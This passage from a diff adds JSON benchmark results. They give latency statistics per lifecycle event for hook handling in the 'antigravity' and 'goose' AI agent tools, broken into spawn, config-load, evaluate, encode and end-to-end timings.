67.44, + 74.4, + 75.64 + ] + }, + "e2eMean": 68.11, + "e2eStddev": 2.97, + "e2eMin": 63.22, + "e2eMax": 75.64 + }, + "antigravity|SessionEnd": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 62.36, + 67.17, + 69.78 + ], + "configLoad": [ + 4.04, + 7.3, + 7.78 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.26, + 0.28, + 0.31 + ], + "other": [ + 1.62, + 1.8, + 1.82 + ], + "e2e": [ + 68.37, + 73.89, + 76.83 + ] + }, + "e2eMean": 68.65, + "e2eStddev": 3.35, + "e2eMin": 62.75, + "e2eMax": 76.83 + }, + "antigravity|UserPromptSubmit": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.82, + 67.25, + 74.58 + ], + "configLoad": [ + 4.04, + 7.14, + 7.78 + ], + "evaluate": [ + 0.15, + 0.16, + 0.23 + ], + "encode": [ + 0.26, + 0.29, + 0.31 + ], + "other": [ + 1.6, + 1.75, + 1.86 + ], + "e2e": [ + 67.91, + 73.52, + 79.75 + ] + }, + "e2eMean": 68.62, + "e2eStddev": 3.04, + "e2eMin": 64.25, + "e2eMax": 79.75 + }, + "antigravity|PreToolUse": { + "n": 50, + "matched": 7, + "customHooks": 1, + "phases": { + "spawn": [ + 60.85, + 65.83, + 67.58 + ], + "configLoad": [ + 3.98, + 7.15, + 7.31 + ], + "evaluate": [ + 1.12, + 1.21, + 1.59 + ], + "encode": [ + 0.26, + 0.29, + 0.3 + ], + "other": [ + 1.58, + 1.83, + 3.91 + ], + "e2e": [ + 67.88, + 74.19, + 74.81 + ] + }, + "e2eMean": 68.52, + "e2eStddev": 2.93, + "e2eMin": 62.98, + "e2eMax": 74.81 + }, + "antigravity|PermissionRequest": { + "n": 50, + "matched": 1, + "customHooks": 1, + "phases": { + "spawn": [ + 60.98, + 64.38, + 64.95 + ], + "configLoad": [ + 3.97, + 7.82, + 10.59 + ], + "evaluate": [ + 0.29, + 0.32, + 0.47 + ], + "encode": [ + 0.25, + 0.28, + 0.39 + ], + "other": [ + 1.55, + 1.79, + 3.93 + ], + "e2e": [ + 67.77, + 73.24, + 75.24 + ] + }, + "e2eMean": 67.87, + "e2eStddev": 2.61, + "e2eMin": 61.53, + "e2eMax": 75.24 + }, + "antigravity|PermissionDenied": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.61, + 66.28, + 67.07 + ], + "configLoad": [ + 3.98, + 7.08, + 7.3 + ], + "evaluate": [ + 0.14, + 0.16, + 0.21 + ], + "encode": [ + 0.26, + 0.29, + 0.33 + ], + "other": [ + 1.52, + 1.74, + 1.77 + ], + "e2e": [ + 67.61, + 72.18, + 73.52 + ] + }, + "e2eMean": 67.61, + "e2eStddev": 2.59, + "e2eMin": 60.73, + "e2eMax": 73.52 + }, + "antigravity|PostToolUse": { + "n": 50, + "matched": 6, + "customHooks": 1, + "phases": { + "spawn": [ + 60.39, + 64.64, + 67.62 + ], + "configLoad": [ + 3.89, + 7.09, + 7.68 + ], + "evaluate": [ + 0.65, + 0.71, + 0.78 + ], + "encode": [ + 0.26, + 0.28, + 0.43 + ], + "other": [ + 1.56, + 1.84, + 2.05 + ], + "e2e": [ + 66.87, + 71.27, + 73.78 + ] + }, + "e2eMean": 67.48, + "e2eStddev": 2.28, + "e2eMin": 63.45, + "e2eMax": 73.78 + }, + "antigravity|PostToolUseFailure": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.96, + 65.88, + 69.17 + ], + "configLoad": [ + 3.97, + 4.61, + 8.06 + ], + "evaluate": [ + 0.14, + 0.16, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.59, + 1.81, + 4.03 + ], + "e2e": [ + 67.03, + 72, + 75.42 + ] + }, + "e2eMean": 67.43, + "e2eStddev": 2.69, + "e2eMin": 62.64, + "e2eMax": 75.42 + }, + "antigravity|Notification": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.83, + 66.61, + 69.91 + ], + "configLoad": [ + 4.02, + 5.25, + 7.22 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.26, + 0.27, + 0.27 + ], + "other": [ + 1.53, + 1.8, + 3.95 + ], + "e2e": [ + 67.05, + 74.92, + 75.8 + ] + }, + "e2eMean": 67.28, + "e2eStddev": 3.06, + "e2eMin": 61.71, + "e2eMax": 75.8 + }, + "antigravity|SubagentStart": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.64, + 68.15, + 69.71 + ], + "configLoad": [ + 3.96, + 6.95, + 7.28 + ], + "evaluate": [ + 0.14, + 0.15, + 0.24 + ], + "encode": [ + 0.25, + 0.28, + 0.43 + ], + "other": [ + 1.56, + 1.76, + 1.83 + ], + "e2e": [ + 67.85, + 74.43, + 74.94 + ] + }, + "e2eMean": 68.02, + "e2eStddev": 2.94, + "e2eMin": 60.95, + "e2eMax": 74.94 + }, + "antigravity|SubagentStop": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.06, + 66.19, + 67.82 + ], + "configLoad": [ + 4.01, + 4.7, + 7.1 + ], + "evaluate": [ + 0.14, + 0.15, + 0.16 + ], + "encode": [ + 0.25, + 0.28, + 0.28 + ], + "other": [ + 1.57, + 1.86, + 3.23 + ], + "e2e": [ + 66.19, + 72.82, + 75.21 + ] + }, + "e2eMean": 66.56, + "e2eStddev": 3.18, + "e2eMin": 61.49, + "e2eMax": 75.21 + }, + "antigravity|TaskCreated": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.28, + 65.08, + 68.03 + ], + "configLoad": [ + 4.08, + 7.36, + 38.46 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.26, + 0.27, + 0.28 + ], + "other": [ + 1.58, + 1.75, + 2.86 + ], + "e2e": [ + 67.59, + 72.64, + 107.43 + ] + }, + "e2eMean": 68.25, + "e2eStddev": 6.24, + "e2eMin": 62.37, + "e2eMax": 107.43 + }, + "antigravity|TaskCompleted": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.45, + 65.65, + 66.08 + ], + "configLoad": [ + 4.01, + 7.21, + 21.4 + ], + "evaluate": [ + 0.14, + 0.18, + 0.22 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.61, + 1.81, + 1.9 + ], + "e2e": [ + 67.68, + 71.72, + 83.99 + ] + }, + "e2eMean": 67.84, + "e2eStddev": 3.38, + "e2eMin": 62.9, + "e2eMax": 83.99 + }, + "antigravity|Stop": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.56, + 65.79, + 67.35 + ], + "configLoad": [ + 3.97, + 4.83, + 7.39 + ], + "evaluate": [ + 0.14, + 0.17, + 0.18 + ], + "encode": [ + 0.25, + 0.28, + 0.43 + ], + "other": [ + 1.54, + 1.81, + 1.92 + ], + "e2e": [ + 67.35, + 71.78, + 72.76 + ] + }, + "e2eMean": 67.43, + "e2eStddev": 2.6, + "e2eMin": 63.12, + "e2eMax": 72.76 + }, + "antigravity|StopFailure": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.34, + 66.65, + 67.14 + ], + "configLoad": [ + 4.05, + 7.16, + 7.36 + ], + "evaluate": [ + 0.14, + 0.16, + 0.16 + ], + "encode": [ + 0.25, + 0.28, + 0.31 + ], + "other": [ + 1.58, + 1.78, + 1.93 + ], + "e2e": [ + 66.42, + 72.65, + 73.33 + ] + }, + "e2eMean": 67.17, + "e2eStddev": 2.56, + "e2eMin": 61.65, + "e2eMax": 73.33 + }, + "antigravity|TeammateIdle": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.32, + 65.71, + 67.01 + ], + "configLoad": [ + 4.04, + 7.24, + 7.35 + ], + "evaluate": [ + 0.14, + 0.16, + 0.24 + ], + "encode": [ + 0.25, + 0.28, + 0.41 + ], + "other": [ + 1.6, + 1.8, + 3.59 + ], + "e2e": [ + 67.25, + 71.61, + 73.38 + ] + }, + "e2eMean": 67.27, + "e2eStddev": 2.66, + "e2eMin": 61.84, + "e2eMax": 73.38 + }, + "antigravity|InstructionsLoaded": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.64, + 66.5, + 71.33 + ], + "configLoad": [ + 3.99, + 4.67, + 7.38 + ], + "evaluate": [ + 0.14, + 0.16, + 0.16 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.58, + 1.8, + 3.62 + ], + "e2e": [ + 67.57, + 71.9, + 76.76 + ] + }, + "e2eMean": 67.69, + "e2eStddev": 2.68, + "e2eMin": 62.22, + "e2eMax": 76.76 + }, + "antigravity|ConfigChange": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.55, + 64.95, + 66.58 + ], + "configLoad": [ + 4.02, + 4.55, + 4.81 + ], + "evaluate": [ + 0.14, + 0.17, + 0.22 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.6, + 1.83, + 3.55 + ], + "e2e": [ + 67.54, + 71.17, + 72.9 + ] + }, + "e2eMean": 67.41, + "e2eStddev": 2.64, + "e2eMin": 61.04, + "e2eMax": 72.9 + }, + "antigravity|CwdChanged": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.3, + 68.43, + 71.82 + ], + "configLoad": [ + 3.95, + 7.29, + 37.92 + ], + "evaluate": [ + 0.14, + 0.17, + 0.34 + ], + "encode": [ + 0.25, + 0.28, + 0.45 + ], + "other": [ + 1.59, + 1.84, + 3.78 + ], + "e2e": [ + 67.77, + 74.77, + 103.56 + ] + }, + "e2eMean": 68.67, + "e2eStddev": 5.96, + "e2eMin": 62.03, + "e2eMax": 103.56 + }, + "antigravity|FileChanged": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.38, + 64.09, + 67.63 + ], + "configLoad": [ + 4.01, + 7.35, + 38.37 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 1.56, + 1.92, + 3.88 + ], + "e2e": [ + 66.8, + 74.08, + 108.59 + ] + }, + "e2eMean": 68.29, + "e2eStddev": 7.88, + "e2eMin": 62.07, + "e2eMax": 108.59 + }, + "antigravity|WorktreeCreate": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.83, + 66.42, + 70.67 + ], + "configLoad": [ + 4.03, + 6.9, + 7.8 + ], + "evaluate": [ + 0.14, + 0.16, + 0.16 + ], + "encode": [ + 0.25, + 0.26, + 0.27 + ], + "other": [ + 1.63, + 1.81, + 1.89 + ], + "e2e": [ + 67.01, + 73.85, + 76.45 + ] + }, + "e2eMean": 67.44, + "e2eStddev": 3.4, + "e2eMin": 61.9, + "e2eMax": 76.45 + }, + "antigravity|WorktreeRemove": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.51, + 65.6, + 67.92 + ], + "configLoad": [ + 3.99, + 6.49, + 8.11 + ], + "evaluate": [ + 0.14, + 0.15, + 0.23 + ], + "encode": [ + 0.25, + 0.3, + 0.4 + ], + "other": [ + 1.6, + 1.8, + 1.96 + ], + "e2e": [ + 67.89, + 72.36, + 73.05 + ] + }, + "e2eMean": 67.95, + "e2eStddev": 2.45, + "e2eMin": 63.16, + "e2eMax": 73.05 + }, + "antigravity|PreCompact": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 59.67, + 65.18, + 65.85 + ], + "configLoad": [ + 4.06, + 7.33, + 10.41 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.28, + 0.3 + ], + "other": [ + 1.59, + 1.82, + 2 + ], + "e2e": [ + 66.47, + 71.53, + 71.64 + ] + }, + "e2eMean": 66.92, + "e2eStddev": 2.37, + "e2eMin": 61.69, + "e2eMax": 71.64 + }, + "antigravity|PostCompact": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.52, + 64.5, + 68.3 + ], + "configLoad": [ + 3.93, + 5.7, + 7.57 + ], + "evaluate": [ + 0.14, + 0.16, + 0.24 + ], + "encode": [ + 0.25, + 0.27, + 0.38 + ], + "other": [ + 1.58, + 1.77, + 1.85 + ], + "e2e": [ + 66.75, + 70.33, + 73.85 + ] + }, + "e2eMean": 66.85, + "e2eStddev": 2.37, + "e2eMin": 62.39, + "e2eMax": 73.85 + }, + "antigravity|Elicitation": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.88, + 67.17, + 69.26 + ], + "configLoad": [ + 4.03, + 7.43, + 37.78 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.28, + 0.3 + ], + "other": [ + 1.57, + 1.8, + 3.62 + ], + "e2e": [ + 66.72, + 74.26, + 103.17 + ] + }, + "e2eMean": 67.95, + "e2eStddev": 5.91, + "e2eMin": 61.91, + "e2eMax": 103.17 + }, + "antigravity|ElicitationResult": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.77, + 65.85, + 67.07 + ], + "configLoad": [ + 4.05, + 4.57, + 41.18 + ], + "evaluate": [ + 0.14, + 0.16, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.35 + ], + "other": [ + 1.59, + 1.89, + 4.42 + ], + "e2e": [ + 66.9, + 71.76, + 105.68 + ] + }, + "e2eMean": 67.81, + "e2eStddev": 6.01, + "e2eMin": 61.56, + "e2eMax": 105.68 + }, + "antigravity|UserPromptExpansion": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.29, + 68.73, + 70.25 + ], + "configLoad": [ + 3.93, + 7.27, + 7.94 + ], + "evaluate": [ + 0.14, + 0.18, + 0.26 + ], + "encode": [ + 0.25, + 0.31, + 0.4 + ], + "other": [ + 1.53, + 1.9, + 2.8 + ], + "e2e": [ + 67.8, + 75.52, + 78.35 + ] + }, + "e2eMean": 68.16, + "e2eStddev": 3.56, + "e2eMin": 62.59, + "e2eMax": 78.35 + }, + "antigravity|PostToolBatch": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.7, + 68.5, + 74.3 + ], + "configLoad": [ + 4.08, + 4.73, + 7.18 + ], + "evaluate": [ + 0.14, + 0.16, + 0.25 + ], + "encode": [ + 0.25, + 0.28, + 0.41 + ], + "other": [ + 1.57, + 1.85, + 1.93 + ], + "e2e": [ + 67.83, + 74.06, + 80.52 + ] + }, + "e2eMean": 68.05, + "e2eStddev": 3.15, + "e2eMin": 61.55, + "e2eMax": 80.52 + }, + "antigravity|Setup": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.06, + 66.01, + 66.98 + ], + "configLoad": [ + 3.94, + 4.6, + 6.79 + ], + "evaluate": [ + 0.14, + 0.15, + 0.16 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 1.56, + 1.8, + 1.89 + ], + "e2e": [ + 67.05, + 71.64, + 72.58 + ] + }, + "e2eMean": 67.11, + "e2eStddev": 2.73, + "e2eMin": 61.78, + "e2eMax": 72.58 + }, + "goose|SessionStart": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.97, + 64.7, + 67.16 + ], + "configLoad": [ + 4.13, + 5.18, + 38.21 + ], + "evaluate": [ + 0.15, + 0.17, + 0.22 + ], + "encode": [ + 0.25, + 0.29, + 0.39 + ], + "other": [ + 1.58, + 1.82, + 3.34 + ], + "e2e": [ + 67, + 73.09, + 105.53 + ] + }, + "e2eMean": 68.16, + "e2eStddev": 5.87, + "e2eMin": 63.02, + "e2eMax": 105.53 + }, + "goose|SessionEnd": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.78, + 66.72, + 72.51 + ], + "configLoad": [ + 4.07, + 4.78, + 4.82 + ], + "evaluate": [ + 0.15, + 0.17, + 0.19 + ], + "encode": [ + 0.25, + 0.28, + 0.28 + ], + "other": [ + 1.6, + 1.77, + 1.91 + ], + "e2e": [ + 68.23, + 72.86, + 77.51 + ] + }, + "e2eMean": 68.07, + "e2eStddev": 3.24, + "e2eMin": 62.31, + "e2eMax": 77.51 + }, + "goose|UserPromptSubmit": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.4, + 67.38, + 68.15 + ], + "configLoad": [ + 4.04, + 6.88, + 7.37 + ], + "evaluate": [ + 0.14, + 0.16, + 0.25 + ], + "encode": [ + 0.25, + 0.28, + 0.4 + ], + "other": [ + 1.58, + 1.82, + 1.85 + ], + "e2e": [ + 67.5, + 74.86, + 76.73 + ] + }, + "e2eMean": 68.04, + "e2eStddev": 3.27, + "e2eMin": 61.27, + "e2eMax": 76.73 + }, + "goose|PreToolUse": { + "n": 50, + "matched": 7, + "customHooks": 1, + "phases": { + "spawn": [ + 62.37, + 68.41, + 72.02 + ], + "configLoad": [ + 3.89, + 6.96, + 7.99 + ], + "evaluate": [ + 1.13, + 1.23, + 1.25 + ], + "encode": [ + 0.26, + 0.28, + 0.29 + ], + "other": [ + 1.57, + 1.77, + 3.96 + ], + "e2e": [ + 69.09, + 76.03, + 78.84 + ] + }, + "e2eMean": 69.66, + "e2eStddev": 3.11, + "e2eMin": 64.03, + "e2eMax": 78.84 + }, + "goose|PermissionRequest": { + "n": 50, + "matched": 1, + "customHooks": 1, + "phases": { + "spawn": [ + 61.86, + 65.84, + 69.1 + ], + "configLoad": [ + 4.08, + 7.18, + 8.13 + ], + "evaluate": [ + 0.29, + 0.31, + 0.48 + ], + "encode": [ + 0.26, + 0.27, + 0.41 + ], + "other": [ + 1.59, + 1.83, + 1.97 + ], + "e2e": [ + 68.19, + 72.27, + 75.41 + ] + }, + "e2eMean": 68.44, + "e2eStddev": 2.42, + "e2eMin": 64.17, + "e2eMax": 75.41 + }, + "goose|PermissionDenied": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.71, + 67.87, + 68.44 + ], + "configLoad": [ + 4, + 6.91, + 7.92 + ], + "evaluate": [ + 0.15, + 0.16, + 0.17 + ], + "encode": [ + 0.26, + 0.28, + 0.31 + ], + "other": [ + 1.56, + 1.89, + 2.03 + ], + "e2e": [ + 67.8, + 73.75, + 74.31 + ] + }, + "e2eMean": 67.94, + "e2eStddev": 2.65, + "e2eMin": 62.77, + "e2eMax": 74.31 + }, + "goose|PostToolUse": { + "n": 50, + "matched": 6, + "customHooks": 1, + "phases": { + "spawn": [ + 61.79, + 66.27, + 73.19 + ], + "configLoad": [ + 3.96, + 6.46, + 8.16 + ], + "evaluate": [ + 0.65, + 0.7, + 0.74 + ], + "encode": [ + 0.26, + 0.29, + 0.31 + ], + "other": [ + 1.56, + 1.84, + 2 + ], + "e2e": [ + 68.16, + 72.99, + 83.86 + ] + }, + "e2eMean": 68.36, + "e2eStddev": 3.59, + "e2eMin": 60.71, + "e2eMax": 83.86 + }, + "goose|PostToolUseFailure": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.7, + 65.44, + 69.34 + ], + "configLoad": [ + 4.09, + 7.5, + 7.75 + ], + "evaluate": [ + 0.15, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.36 + ], + "other": [ + 1.6, + 1.86, + 1.91 + ], + "e2e": [ + 67.1, + 71.52, + 75.58 + ] + }, + "e2eMean": 67.31, + "e2eStddev": 2.72, + "e2eMin": 61.25, + "e2eMax": 75.58 + }, + "goose|Notification": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 62.52, + 69.87, + 71.29 + ], + "configLoad": [ + 3.94, + 7.15, + 7.43 + ], + "evaluate": [ + 0.14, + 0.16, + 0.24 + ], + "encode": [ + 0.25, + 0.3, + 0.43 + ], + "other": [ + 1.59, + 1.8, + 3.83 + ], + "e2e": [ + 68.4, + 75.75, + 77.78 + ] + }, + "e2eMean": 68.79, + "e2eStddev": 3.4, + "e2eMin": 62.21, + "e2eMax": 77.78 + }, + "goose|SubagentStart": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.38, + 66.62, + 67.52 + ], + "configLoad": [ + 3.96, + 7.18, + 7.54 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.26, + 0.27, + 0.28 + ], + "other": [ + 1.58, + 1.76, + 1.8 + ], + "e2e": [ + 67.72, + 72.66, + 72.82 + ] + }, + "e2eMean": 67.97, + "e2eStddev": 2.37, + "e2eMin": 62.27, + "e2eMax": 72.82 + }, + "goose|SubagentStop": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.4, + 66.59, + 67.37 + ], + "configLoad": [ + 4, + 7.16, + 7.74 + ], + "evaluate": [ + 0.14, + 0.17, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.3 + ], + "other": [ + 1.58, + 1.79, + 1.97 + ], + "e2e": [ + 67.69, + 72.87, + 73.6 + ] + }, + "e2eMean": 67.77, + "e2eStddev": 2.77, + "e2eMin": 62.95, + "e2eMax": 73.6 + }, + "goose|TaskCreated": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.5, + 67.73, + 69.78 + ], + "configLoad": [ + 4.05, + 7.25, + 7.37 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.54, + 1.83, + 1.95 + ], + "e2e": [ + 67.27, + 73.82, + 75.93 + ] + }, + "e2eMean": 67.61, + "e2eStddev": 2.93, + "e2eMin": 62.23, + "e2eMax": 75.93 + }, + "goose|TaskCompleted": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.27, + 65.18, + 71.58 + ], + "configLoad": [ + 4.12, + 4.85, + 7.31 + ], + "evaluate": [ + 0.14, + 0.16, + 0.16 + ], + "encode": [ + 0.25, + 0.28, + 0.29 + ], + "other": [ + 1.62, + 1.8, + 1.94 + ], + "e2e": [ + 67.32, + 71.54, + 77.09 + ] + }, + "e2eMean": 67.63, + "e2eStddev": 2.34, + "e2eMin": 64.44, + "e2eMax": 77.09 + }, + "goose|Stop": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.56, + 64.84, + 65.43 + ], + "configLoad": [ + 3.98, + 7.67, + 8.09 + ], + "evaluate": [ + 0.14, + 0.16, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.33 + ], + "other": [ + 1.57, + 1.94, + 3.9 + ], + "e2e": [ + 67.09, + 70.63, + 71.77 + ] + }, + "e2eMean": 67.13, + "e2eStddev": 2.55, + "e2eMin": 61.62, + "e2eMax": 71.77 + }, + "goose|StopFailure": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.91, + 64.57, + 66.19 + ], + "configLoad": [ + 4.04, + 7.55, + 8.24 + ], + "evaluate": [ + 0.14, + 0.17, + 0.24 + ], + "encode": [ + 0.25, + 0.29, + 0.41 + ], + "other": [ + 1.59, + 1.81, + 1.95 + ], + "e2e": [ + 67.04, + 71.33, + 72.89 + ] + }, + "e2eMean": 67.59, + "e2eStddev": 2.3, + "e2eMin": 61.59, + "e2eMax": 72.89 + }, + "goose|TeammateIdle": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.67, + 65.21, + 71.53 + ], + "configLoad": [ + 3.99, + 7.01, + 7.49 + ], + "evaluate": [ + 0.14, + 0.15, + 0.16 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 1.57, + 1.82, + 1.88 + ], + "e2e": [ + 67.02, + 71.35, + 77.42 + ] + }, + "e2eMean": 67.2, + "e2eStddev": 2.64, + "e2eMin": 62.64, + "e2eMax": 77.42 + }, + "goose|InstructionsLoaded": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.88, + 66.5, + 67.96 + ], + "configLoad": [ + 4.07, + 7.13, + 8.24 + ], + "evaluate": [ + 0.15, + 0.17, + 0.24 + ], + "encode": [ + 0.25, + 0.28, + 0.41 + ], + "other": [ + 1.58, + 1.81, + 1.84 + ], + "e2e": [ + 68.15, + 72.87, + 73.65 + ] + }, + "e2eMean": 68.3, + "e2eStddev": 2.53, + "e2eMin": 62.95, + "e2eMax": 73.65 + }, + "goose|ConfigChange": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.59, + 67.7, + 70.55 + ], + "configLoad": [ + 3.99, + 7.31, + 7.48 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.3, + 0.31 + ], + "other": [ + 1.55, + 1.84, + 3.7 + ], + "e2e": [ + 67.93, + 73.81, + 76.92 + ] + }, + "e2eMean": 68.29, + "e2eStddev": 3.12, + "e2eMin": 62.95, + "e2eMax": 76.92 + }, + "goose|CwdChanged": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.89, + 68.18, + 70.71 + ], + "configLoad": [ + 4.07, + 7.68, + 8.11 + ], + "evaluate": [ + 0.15, + 0.17, + 0.22 + ], + "encode": [ + 0.25, + 0.27, + 0.38 + ], + "other": [ + 1.57, + 1.76, + 3.57 + ], + "e2e": [ + 68.26, + 73.71, + 78.59 + ] + }, + "e2eMean": 68.87, + "e2eStddev": 3.4, + "e2eMin": 61.98, + "e2eMax": 78.59 + }, + "goose|FileChanged": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.69, + 69.25, + 79.79 + ], + "configLoad": [ + 3.93, + 7.65, + 8.04 + ], + "evaluate": [ + 0.14, + 0.17, + 0.23 + ], + "encode": [ + 0.25, + 0.31, + 0.38 + ], + "other": [ + 1.56, + 1.9, + 1.92 + ], + "e2e": [ + 67.54, + 75.13, + 90 + ] + }, + "e2eMean": 68.74, + "e2eStddev": 4.54, + "e2eMin": 63.02, + "e2eMax": 90 + }, + "goose|WorktreeCreate": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 86.05, + 125.02, + 129.94 + ], + "configLoad": [ + 5.3, + 13.87, + 18.35 + ], + "evaluate": [ + 0.17, + 0.3, + 0.37 + ], + "encode": [ + 0.3, + 0.55, + 0.62 + ], + "other": [ + 1.82, + 6.42, + 12.14 + ], + "e2e": [ + 91.4, + 138.35, + 148.93 + ] + }, + "e2eMean": 97.47, + "e2eStddev": 27.03, + "e2eMin": 64.16, + "e2eMax": 148.93 + }, + "goose|WorktreeRemove": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.61, + 65.48, + 66.93 + ], + "configLoad": [ + 4.08, + 7.28, + 38.41 + ], + "evaluate": [ + 0.14, + 0.16, + 0.18 + ], + "encode": [ + 0.25, + 0.28, + 0.34 + ], + "other": [ + 1.61, + 1.83, + 4.31 + ], + "e2e": [ + 66.56, + 73.86, + 103.47 + ] + }, + "e2eMean": 67.87, + "e2eStddev": 5.84, + "e2eMin": 63.43, + "e2eMax": 103.47 + }, + "goose|PreCompact": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.7, + 66.13, + 66.54 + ], + "configLoad": [ + 4.05, + 6.97, + 38.67 + ], + "evaluate": [ + 0.14, + 0.18, + 0.24 + ], + "encode": [ + 0.25, + 0.3, + 0.44 + ], + "other": [ + 1.57, + 1.77, + 4.46 + ], + "e2e": [ + 67.95, + 72.26, + 107.33 + ] + }, + "e2eMean": 69.35, + "e2eStddev": 7.94, + "e2eMin": 62.56, + "e2eMax": 107.33 + }, + "goose|PostCompact": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.37, + 66.23, + 70.1 + ], + "configLoad": [ + 4.14, + 6.95, + 7.6 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.28, + 0.28 + ], + "other": [ + 1.57, + 1.82, + 1.91 + ], + "e2e": [ + 67.72, + 72.44, + 76.19 + ] + }, + "e2eMean": 67.68, + "e2eStddev": 2.64, + "e2eMin": 63.13, + "e2eMax": 76.19 + }, + "goose|Elicitation": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 62.16, + 69.83, + 73.18 + ], + "configLoad": [ + 4.06, + 7.24, + 7.74 + ], + "evaluate": [ + 0.15, + 0.24, + 0.25 + ], + "encode": [ + 0.26, + 0.4, + 0.5 + ], + "other": [ + 1.55, + 1.85, + 1.9 + ], + "e2e": [ + 68.22, + 76.14, + 78.81 + ] + }, + "e2eMean": 68.91, + "e2eStddev": 3.5, + "e2eMin": 62.83, + "e2eMax": 78.81 + }, + "goose|ElicitationResult": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.72, + 67.27, + 71.93 + ], + "configLoad": [ + 3.93, + 7.17, + 7.75 + ], + "evaluate": [ + 0.14, + 0.16, + 0.22 + ], + "encode": [ + 0.26, + 0.29, + 0.38 + ], + "other": [ + 1.58, + 1.77, + 1.84 + ], + "e2e": [ + 67.12, + 73.3, + 77.16 + ] + }, + "e2eMean": 67.1, + 